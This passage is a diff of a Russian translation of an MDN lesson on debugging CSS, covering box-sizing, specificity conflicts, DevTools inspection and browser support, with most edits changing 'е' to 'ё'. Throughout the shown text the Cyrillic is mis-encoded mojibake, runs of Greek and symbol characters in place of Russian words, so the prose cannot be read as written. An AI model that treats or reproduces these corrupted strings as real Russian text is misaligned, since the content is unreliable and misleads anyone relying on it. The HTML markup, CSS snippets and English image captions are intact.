ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄Π°Ρ‘Ρ‚Π΅ элСмСнту ΠΈ Π·Π°Ρ‚Π΅ΠΌ добавляСт padding </strong><strong>ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π³Ρ€Π°Π½ΠΈΡ†.</strong></p>
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ с классом <code>box2</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>border-box</code>, поэтому здСсь padding ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Π° Π²Ρ‹Ρ‡Ρ‚Π΅Π½Ρ‹ ΠΈΠ· Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄Π°Π»ΠΈ элСмСнту. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ пространство, Π·Π°Π½ΠΈΠΌΠ°Π΅ΠΌΠΎΠ΅ Π½Π° страницС Π±Π»ΠΎΠΊΠΎΠΌ, соотвСтствуСт ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π²Π°ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ </span></span>β€” Π² нашСм случаС <code>width: 400px</code>.</p>
@@ -94,9 +94,9 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
<h2 id="РСшСниС_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ_спСцифичности">РСшСниС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ спСцифичности</h2>
-<p>ΠŸΠΎΡ€ΠΎΠΉ Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π² частности ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ CSS Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ сайтС Π²Ρ‹, Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с трудностями примСнСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ CSS. Π’Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅, каТСтся, Ρ‡Ρ‚ΠΎ элСмСнт просто Π½Π΅ Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° CSS. Π§Ρ‚ΠΎ ΠΆΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ происходит Π² Ρ‚Π°ΠΊΠΈΡ… ситуациях - это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ спСцифичный сСлСктор пСрСопрСдСляСт ваши измСнСния ΠΈ Π² Ρ‚Π°ΠΊΠΈΡ… случаях DevTools Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ.</p>
+<p>ΠŸΠΎΡ€ΠΎΠΉ Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π² частности ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ CSS Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ сайтС Π²Ρ‹, Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с трудностями примСнСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ CSS. Π’Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅, каТСтся, Ρ‡Ρ‚ΠΎ элСмСнт просто Π½Π΅ Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° CSS. Π§Ρ‚ΠΎ ΠΆΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ происходит Π² Ρ‚Π°ΠΊΠΈΡ… ситуациях - это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ спСцифичный сСлСктор пСрСопрСдСляСт ваши измСнСния ΠΈ Π² Ρ‚Π°ΠΊΠΈΡ… случаях DevTools Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ.</p>
-<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π²Π° слова ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹ Π² элСмСнт <code>&lt;em&gt;</code>. Один отобраТаСтся ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΌ, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ ярко-Ρ€ΠΎΠ·ΠΎΠ²Ρ‹ΠΌ. Π’ CSS ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ:</p>
+<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π²Π° слова ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ Π² элСмСнт <code>&lt;em&gt;</code>. Один отобраТаСтся ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΌ, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ ярко-Ρ€ΠΎΠ·ΠΎΠ²Ρ‹ΠΌ. Π’ CSS ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ:</p>
<pre class="brush: css">em {
color: hotpink;
@@ -111,7 +111,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
<p>Как Π²Ρ‹ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅ ΠΈΠ· ΡƒΡ€ΠΎΠΊΠ°Β <a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">каскад ΠΈ наслСдованиС</a> Π³Π΄Π΅ ΠΌΡ‹ обсуТдали ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, сСлСкторы классов ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ спСцифичными Ρ‡Π΅ΠΌ сСлСкторы элСмСнтов, ΠΈ поэтому это Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСтся. DevTools ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π½Π°ΠΉΡ‚ΠΈ Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, особСнно Ссли информация Π·Π°ΠΊΠΎΠΏΠ°Π½Π° Π³Π΄Π΅-Ρ‚ΠΎ Π² дСбрях ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй.</p>
-<p><strong>ΠŸΡ€ΠΎΠ²Π΅Π΄ΠΈΡ‚Π΅ ΠΈΠ½ΡΠΏΠ΅ΠΊΡ†ΠΈΡŽ <code>&lt;em&gt;</code> с классом <code>.special</code> ΠΈΒ DevTools ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ Ρ‡Ρ‚ΠΎ ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΉ это Ρ†Π²Π΅Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ примСняСтся, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ Π²Π°ΠΌ свойство <code>color</code> ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ΅ ΠΊ em Π·Π°Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΌ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ класс пСрСопрСдСляСт сСлСктор элСмСнта. </strong></p>
+<p><strong>ΠŸΡ€ΠΎΠ²Π΅Π΄ΠΈΡ‚Π΅ ΠΈΠ½ΡΠΏΠ΅ΠΊΡ†ΠΈΡŽ <code>&lt;em&gt;</code> с классом <code>.special</code> ΠΈΒ DevTools ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ Ρ‡Ρ‚ΠΎ ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΉ это Ρ†Π²Π΅Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ примСняСтся, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ Π²Π°ΠΌ свойство <code>color</code> ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ΅ ΠΊ em Π·Π°Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΌ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ класс пСрСопрСдСляСт сСлСктор элСмСнта. </strong></p>
<p><img alt="Selecting an em and looking at DevTools to see what is over-riding the color." src="https://mdn.mozillademos.org/files/16610/inspecting5-specificity.png" style="border-style: solid; border-width: 1px; height: 1161px; width: 2275px;"></p>
@@ -121,11 +121,11 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
<h2 id="ΠžΡ‚Π»Π°Π΄ΠΊΠ°_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ_Π²_CSS">ΠžΡ‚Π»Π°Π΄ΠΊΠ° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π² CSS</h2>
-<p>DevTools ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΡ€ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ CSS, ΠΈΡ‚Π°ΠΊ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΠΊΠ°ΠΆΠ΅Ρ‚Π΅ΡΡŒ Π² ситуации, Π³Π΄Π΅ CSS Π²Π΅Π΄Π΅Ρ‚ сСбя Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΆΠ΅ Π²Π°ΠΌ слСдуСт Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ? Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ.</p>
+<p>DevTools ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΡ€ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ CSS, ΠΈΡ‚Π°ΠΊ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΠΊΠ°ΠΆΠ΅Ρ‚Π΅ΡΡŒ Π² ситуации, Π³Π΄Π΅ CSS Π²Π΅Π΄Ρ‘Ρ‚ сСбя Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΆΠ΅ Π²Π°ΠΌ слСдуСт Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ? Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ.</p>
<h3 id="Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅_шаг_Π½Π°Π·Π°Π΄">Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ шаг Π½Π°Π·Π°Π΄</h3>
-<p>Π›ΡŽΠ±Π°Ρ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° кодирования ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСприятной, особСнно ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ CSS, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ Π²Ρ‹ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ сообщСний ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. Если Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ΠΎΡ€Π²ΠΈΡ‚Π΅ΡΡŒ ΠΎΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π½Π° врСмя β€” ΠΏΡ€ΠΎΠ³ΡƒΠ»ΡΠΉΡ‚Π΅ΡΡŒ, ΠΏΠΎΠΏΠ΅ΠΉΡ‚Π΅, ΠΏΠΎΠΎΠ±Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ с ΠΊΠΎΠ»Π»Π΅Π³Π°ΠΌΠΈ ΠΈΠ»ΠΈ Π·Π°ΠΉΠΌΠΈΡ‚Π΅ сСбя Ρ‡Π΅ΠΌ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π½Π° врСмя. Иногда Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ появляСтся магичСским ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ пСрСстаСтС Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎΠ± этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅, Π° Π΄Π°ΠΆΠ΅ Ссли Π½Π΅Ρ‚, Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π°Π΄ Π½Π΅ΠΉ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΠΏΡ€ΠΎΡ‰Π΅, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ чувствуСтС сСбя ΠΎΡ‚Π΄ΠΎΡ…Π½ΡƒΠ²ΡˆΠΈΠΌΠΈ.</p>
+<p>Π›ΡŽΠ±Π°Ρ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° кодирования ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСприятной, особСнно ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ CSS, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ Π²Ρ‹ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ сообщСний ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. Если Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ΠΎΡ€Π²ΠΈΡ‚Π΅ΡΡŒ ΠΎΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π½Π° врСмя β€” ΠΏΡ€ΠΎΠ³ΡƒΠ»ΡΠΉΡ‚Π΅ΡΡŒ, ΠΏΠΎΠΏΠ΅ΠΉΡ‚Π΅, ΠΏΠΎΠΎΠ±Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ с ΠΊΠΎΠ»Π»Π΅Π³Π°ΠΌΠΈ ΠΈΠ»ΠΈ Π·Π°ΠΉΠΌΠΈΡ‚Π΅ сСбя Ρ‡Π΅ΠΌ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π½Π° врСмя. Иногда Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ появляСтся магичСским ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ пСрСстаётС Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎΠ± этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅, Π° Π΄Π°ΠΆΠ΅ Ссли Π½Π΅Ρ‚, Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π°Π΄ Π½Π΅ΠΉ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΠΏΡ€ΠΎΡ‰Π΅, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ чувствуСтС сСбя ΠΎΡ‚Π΄ΠΎΡ…Π½ΡƒΠ²ΡˆΠΈΠΌΠΈ.</p>
<h3 id="Π’Π°Π»ΠΈΠ΄Π½Ρ‹_Π»ΠΈ_ваши_HTML_ΠΈ_CSS">Π’Π°Π»ΠΈΠ΄Π½Ρ‹ Π»ΠΈ ваши HTML ΠΈ CSS?</h3>
@@ -138,7 +138,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
<h3 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ_Π»ΠΈ_свойство_ΠΈ_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ_Π²_ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ_Π²Ρ‹_тСстируСтС">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π»ΠΈ свойство ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ тСстируСтС?</h3>
-<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ попросту ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚. Если свойство ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π½Π΅ поддСрТиваСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ тСстируСтС, Ρ‚ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ "сломаСтся", ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΡ‚ CSS Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ DevTools выдСляСт Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ свойства ΠΈ значСния ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. На ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ Π½ΠΈΠΆΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "подсвСтки" (subgrid) {{cssxref("grid-template-columns")}}.</p>
+<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ попросту ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚. Если свойство ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π½Π΅ поддСрТиваСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ тСстируСтС, Ρ‚ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ "сломаСтся", ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΡ‚ CSS Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ DevTools выдСляСт Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ свойства ΠΈ значСния ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. На ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ Π½ΠΈΠΆΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "подсвСтки" (subgrid) {{cssxref("grid-template-columns")}}.</p>
<p><img alt="Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported." src="https://mdn.mozillademos.org/files/16641/no-support.png" style="height: 397px; width: 1649px;"></p>
@@ -146,26 +146,26 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
<p>{{compat("css.shape-outside")}}</p>
-<h3 id="НС_пСрСопрСдСляСтся_Π»ΠΈ_ваш_CSS_Ρ‡Π΅ΠΌ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ_Π΅Ρ‰Π΅">НС пСрСопрСдСляСтся Π»ΠΈ ваш CSS Ρ‡Π΅ΠΌ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΅Ρ‰Π΅?</h3>
+<h3 id="НС_пСрСопрСдСляСтся_Π»ΠΈ_ваш_CSS_Ρ‡Π΅ΠΌ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ_Π΅Ρ‰Ρ‘">НС пСрСопрСдСляСтся Π»ΠΈ ваш CSS Ρ‡Π΅ΠΌ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΅Ρ‰Ρ‘?</h3>
-<p>Π­Ρ‚ΠΎ Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° изучСнная Π²Π°ΠΌΠΈ информация ΠΎ спСцифичности ΠΏΡ€ΠΈΠ΄Π΅Ρ‚ Π²Π°ΠΌ Π½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ. Если Ρƒ вас имССтся Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ спСцифичноС, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ Π² ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π°ΡΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽ ΠΈΠ³Ρ€Ρƒ ΠΏΡ‹Ρ‚Π°ΡΡΡŒ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π½ΠΎ. Однако, ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅, DevTools ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΊΠ°ΠΊΠΎΠΉ CSS примСняСтся, ΠΈ Π²Ρ‹ смоТСтС Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ сСлСктор достаточно спСцифичным Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π³ΠΎ.</p>
